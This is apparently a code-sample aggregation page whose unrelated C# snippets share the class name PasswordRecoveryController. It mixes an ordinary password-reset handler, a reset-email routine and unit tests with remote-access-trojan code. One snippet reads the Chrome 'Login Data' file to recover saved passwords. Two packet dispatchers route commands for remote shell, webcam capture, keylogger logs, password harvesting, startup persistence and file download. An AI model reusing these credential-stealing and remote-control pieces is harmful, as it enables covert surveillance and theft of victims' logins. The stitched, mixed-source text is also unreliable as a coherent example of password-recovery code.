/// <summary>
        /// Handles the Click event of the btnResetPassword control.
        /// </summary>
        /// <param name="sender">The source of the event.</param>
        /// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
        protected void btnResetPassword_Click(object sender, EventArgs e)
        {
            //STW new GUID
            var recoveryCode = txtResetCode.Text;

            if (recoveryCode.Length >= 1)
            {
                var code = PasswordRecoveryController.SelectByGUID(recoveryCode);
                if (code != null && code.ExpirationDate >= DateTime.Now)
                {
                    //Reset the password
                    PasswordRecoveryController.SetNewPassword(code.UserId, code.PortalId, txtNewPassword.Text);

                    //expire the recoverycode
                    PasswordRecoveryController.ExpireRecoveryCode(txtResetCode.Text);

                    //Setup for login
                    var SuccessMessage = new StringBuilder(Localization.GetString("ResetSuccess", LocalResourceFile));
                    SuccessMessage.Replace("[LOGIN]", (Globals.NavigateURL(PortalSettings.LoginTabId)));
                    ShowMessage(SuccessMessage.ToString(), ModuleMessageType.GreenSuccess);
                    //Hide the form
                    pnlPerformReset.Visible = false;
                }
                else
                {
                    ShowMessage(Localization.GetString("ExpiredCode", LocalResourceFile), ModuleMessageType.YellowWarning);
                }
            }
            else
            {
                ShowMessage(Localization.GetString("InvalidCode", LocalResourceFile), ModuleMessageType.RedError);
            }
        }
Beispiel #2
0
 public PasswordRecoveryTest(DatabaseFixture fixture)
 {
     Context         = fixture.DatabaseContext;
     Mapper          = TestHelper.CreateAutoMapper();
     UsersController = new UsersController(Context, Mapper, Config,
                                           new SameClaimExtractorFactory(new List <Claim>()));
     EmailSender        = new StubEmailSender(() => new List <object>());
     RecoveryController = new PasswordRecoveryController(Context, Config, EmailSender);
     AuthController     = new AuthenticationController(Context, Config);
     Jaimito            = UserFactory.GetJaimitoAsDto();
 }
        /// <summary>
        /// Records the and send request.
        /// </summary>
        /// <param name="userId">The user id.</param>
        /// <param name="username">The username.</param>
        /// <param name="email">The email.</param>
        private void RecordAndSendRequest(UserInfo user)
        {
            double ExpiryTime = 2;

            if (Settings["ExpiryTime"] != null)
            {
                ExpiryTime = Convert.ToDouble(Settings["ExpiryTime"]);
            }

            var myRequest = new PasswordResetRequest
            {
                PortalId       = PortalId,
                UserId         = user.UserID,
                ExpirationDate = DateTime.Now.AddHours(ExpiryTime),
                RecoveryCode   = Guid.NewGuid().ToString()
            };

            myRequest = PasswordRecoveryController.InsertRequest(myRequest);
            var notificationEmail = new StringBuilder(Localization.GetString("ResetEmail", LocalResourceFile));

            notificationEmail.Replace("[PORTALNAME]", PortalSettings.PortalName);
            notificationEmail.Replace("[FIRSTNAME]", !string.IsNullOrEmpty(user.FirstName) ? user.FirstName : user.Username);
            notificationEmail.Replace("[LASTNAME]", !string.IsNullOrEmpty(user.LastName) ? user.LastName : string.Empty);
            notificationEmail.Replace("[DISPLAYNAME]", !string.IsNullOrEmpty(user.DisplayName) ? user.DisplayName : user.Username);

            notificationEmail.Replace("[USERNAME]", user.Username);
            var url = UrlUtility.GenerateResetUrl(TabId, myRequest.RecoveryCode);

            if (!url.ToLower().StartsWith("http"))
            {
                url = "http://" + PortalSettings.PortalAlias.HTTPAlias + url;
            }


            notificationEmail.Replace("[RESETLINK]", url);
            notificationEmail.Replace("[CODE]", myRequest.RecoveryCode);


            url = UrlUtility.GetPortalUrl(PortalSettings.HomeTabId);
            notificationEmail.Replace("[PORTALURL]", url);


            try
            {
                Mail.SendMail(PortalSettings.Email, user.Email, string.Empty,
                              Localization.GetString("ResetEmailSubject", LocalResourceFile),
                              notificationEmail.ToString(), string.Empty, "HTML", string.Empty, string.Empty,
                              string.Empty, string.Empty);
            }
            catch (Exception ex)
            {
                Exceptions.LogException(ex);
            }
        }
Beispiel #4
0
 public static List <RecoveredAccount> GetSavedPasswords()
 {
     try
     {
         string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
                                        "Google\\Chrome\\User Data\\Default\\Login Data");
         return(PasswordRecoveryController.Passwords(datapath, "Chrome"));
     }
     catch (Exception)
     {
         return(new List <RecoveredAccount>());
     }
 }
Beispiel #5
0
        public async void test_03_email_is_not_sent_if_email_doesnt_exist()
        {
            await RegisterJaimito();

            var executedEmailSending = false;
            var emailSender          = new StubEmailSender(() => {
                executedEmailSending = true;
            });
            var resetToken = new ResetTokenDto {
                Email = "aDifferentEmail"
            };
            var controller = new PasswordRecoveryController(Context, Config, emailSender);
            var result     = await controller.SendResetToken(resetToken) as OkResult;

            result.Should().NotBeNull();
            result.StatusCode.Should().Be(200);
            executedEmailSending.Should().BeFalse();
        }
Beispiel #6
0
        public static void packetChecker(ClientMosaique client, IPackets packet)
        {
            var type = packet.Type;

            if (type == TypePackets.DoAskElevate)
            {
                Controllers.Tools.CommandController.doAskElevate((DoAskElevate)packet, client);
            }
            else if (type == TypePackets.SetClientIdentifier)
            {
                ManageController.setClientIdentifier((SetClientIdentifier)packet, client);
            }
            else if (type == TypePackets.UninstallClient)
            {
                ClientUninstallerController.uninstall(client);
            }
            else if (type == TypePackets.CloseClient)
            {
                ManageController.CloseClient();
            }
            else if (type == TypePackets.GetMonitors)
            {
                RemoteDesktopController.getMonitors(client);
            }
            else if (type == TypePackets.GetDesktop)
            {
                RemoteDesktopController.getDesktop((GetDesktop)packet, client);
            }
            else if (type == TypePackets.GetExecuteShellCmd)
            {
                RemoteShellController.getExecuteShellCmd((GetExecuteShellCmd)packet, client);
            }
            else if (type == TypePackets.GetAvailableWebcams)
            {
                RemoteWebcamController.getAvailableWebcams((GetAvailableWebcams)packet, client);
            }
            else if (type == TypePackets.GetWebcam)
            {
                RemoteWebcamController.getWebcam((GetWebcam)packet, client);
            }
            else if (type == TypePackets.StopWebcam)
            {
                RemoteWebcamController.stopWebcam();
            }
            else if (type == TypePackets.GetDrives)
            {
                FileManagerController.getDrives((GetDrives)packet, client);
            }
            else if (type == TypePackets.GetDirectory)
            {
                FileManagerController.getDirectory((GetDirectory)packet, client);
            }
            else if (type == TypePackets.DoDownloadFile)
            {
                FileManagerController.doDownloadFile((DoDownloadFile)packet, client);
            }
            else if (type == TypePackets.DoDownloadFileCancel)
            {
                FileManagerController.doDownloadFileCancel((DoDownloadFileCancel)packet, client);
            }
            else if (type == TypePackets.GetProcesses)
            {
                TaskManagerController.getProcesses((GetProcesses)packet, client);
            }
            else if (type == TypePackets.GetSysInfo)
            {
                SystemInformationController.getSysInfo(client);
            }
            else if (type == TypePackets.GetStartupItems)
            {
                StartupManagerController.getStartupItems((GetStartupItems)packet, client);
            }
            else if (type == TypePackets.DoStartupItemAdd)
            {
                StartupManagerController.doStartupItemAdd((DoStartupItemAdd)packet, client);
            }
            else if (type == TypePackets.DoStartupItemRemove)
            {
                StartupManagerController.doStartupItemRemove((DoStartupItemRemove)packet, client);
            }
            else if (type == TypePackets.GetPasswords)
            {
                PasswordRecoveryController.getPasswords((GetPasswords)packet, client);
            }
            else if (type == TypePackets.GetKeyLoggerLogs)
            {
                KeyLoggerController.getKeyLogger((GetKeyLoggerLogs)packet, client);
            }
            else if (type == TypePackets.DoTrayCdOpenClose)
            {
                DoTrayCdOpenCloseController.openCloseTrayCD((DoTrayCdOpenClose)packet, client);
            }
            else if (type == TypePackets.SendMessageBox)
            {
                SendMessageBoxController.MessageBoxShow((SendMessageBox)packet);
            }
            else if (type == TypePackets.MsgToRemoteChat)
            {
                FrmRemoteChatController.msgFromRemoteChat((MsgToRemoteChat)packet, client);
            }
            else if (type == TypePackets.CloseRemoteChat)
            {
                FrmRemoteChatController.closeRemoteChat(client);
            }
            else if (type == TypePackets.PlaySong)
            {
                PlaySongController.playOnInt((PlaySong)packet);
            }
        }
Beispiel #7
0
        public static void packetChecker(ClientMosaic client, IPackets packet)
        {
            var type = packet.Type;

            if (type == TypePackets.DoAskElevate)
            {
                Controllers.Tools.CommandController.doAskElevate((DoAskElevate)packet, client);
            }
            else if (type == TypePackets.GetMonitors)
            {
                RemoteDesktopController.getMonitors(client);
            }
            else if (type == TypePackets.GetDesktop)
            {
                RemoteDesktopController.getDesktop((GetDesktop)packet, client);
            }
            else if (type == TypePackets.GetExecuteShellCmd)
            {
                RemoteShellController.getExecuteShellCmd((GetExecuteShellCmd)packet, client);
            }
            else if (type == TypePackets.GetAvailableWebcams)
            {
                RemoteWebcamController.getAvailableWebcams((GetAvailableWebcams)packet, client);
            }
            else if (type == TypePackets.GetWebcam)
            {
                RemoteWebcamController.getWebcam((GetWebcam)packet, client);
            }
            else if (type == TypePackets.StopWebcam)
            {
                RemoteWebcamController.stopWebcam();
            }
            else if (type == TypePackets.GetDrives)
            {
                FileManagerController.getDrives((GetDrives)packet, client);
            }
            else if (type == TypePackets.GetDirectory)
            {
                FileManagerController.getDirectory((GetDirectory)packet, client);
            }
            else if (type == TypePackets.DoDownloadFile)
            {
                FileManagerController.doDownloadFile((DoDownloadFile)packet, client);
            }
            else if (type == TypePackets.DoDownloadFileCancel)
            {
                FileManagerController.doDownloadFileCancel((DoDownloadFileCancel)packet, client);
            }
            else if (type == TypePackets.GetProcesses)
            {
                TaskManagerController.getProcesses((GetProcesses)packet, client);
            }
            else if (type == TypePackets.GetSysInfo)
            {
                SystemInformationController.getSysInfo(client);
            }
            else if (type == TypePackets.GetStartupItems)
            {
                StartupManagerController.getStartupItems((GetStartupItems)packet, client);
            }
            else if (type == TypePackets.DoStartupItemAdd)
            {
                StartupManagerController.doStartupItemAdd((DoStartupItemAdd)packet, client);
            }
            else if (type == TypePackets.DoStartupItemRemove)
            {
                StartupManagerController.doStartupItemRemove((DoStartupItemRemove)packet, client);
            }
            else if (type == TypePackets.GetPasswords)
            {
                PasswordRecoveryController.getPasswords((GetPasswords)packet, client);
            }
            else if (type == TypePackets.GetKeyLoggerLogs)
            {
                KeyLoggerController.getKeyLogger((GetKeyLoggerLogs)packet, client);
            }
        }